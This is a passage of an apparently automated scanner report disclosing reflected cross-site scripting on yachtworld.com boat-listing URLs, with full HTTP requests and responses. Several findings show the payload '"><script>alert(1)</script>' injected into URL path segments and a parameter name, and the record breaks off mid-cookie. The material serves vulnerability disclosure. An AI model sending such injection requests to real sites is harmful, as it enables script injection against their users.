HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:18 GMT Server: Apache Cache-Control: private If-Modified-Since: Sat, 22 Jan 2011 03:59:44 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:17 GMT Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae42d"><script>alert(1)</script>3ebcd390f93 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-2270278/Placida/FL/United-Statesae42d"><script>alert(1)</script>3ebcd390f93 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:07 GMT Server: Apache Cache-Control: private If-Modified-Since: Sat, 22 Jan 2011 03:59:44 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:06 GMT Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.128. http://www.yachtworld.com/boats/2005/Regulator-32-Fs-2270278/Placida/FL/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59c74"><script>alert(1)</script>ac797cbcf62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-2270278/Placida/FL/United-States?59c74"><script>alert(1)</script>ac797cbcf62=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:39 GMT Server: Apache Cache-Control: private If-Modified-Since: Sat, 22 Jan 2011 03:59:44 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:39 GMT Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a53ce"><script>alert(1)</script>94ac4aa25e6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-Center-Console-1990703/Bricka53ce"><script>alert(1)</script>94ac4aa25e6/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%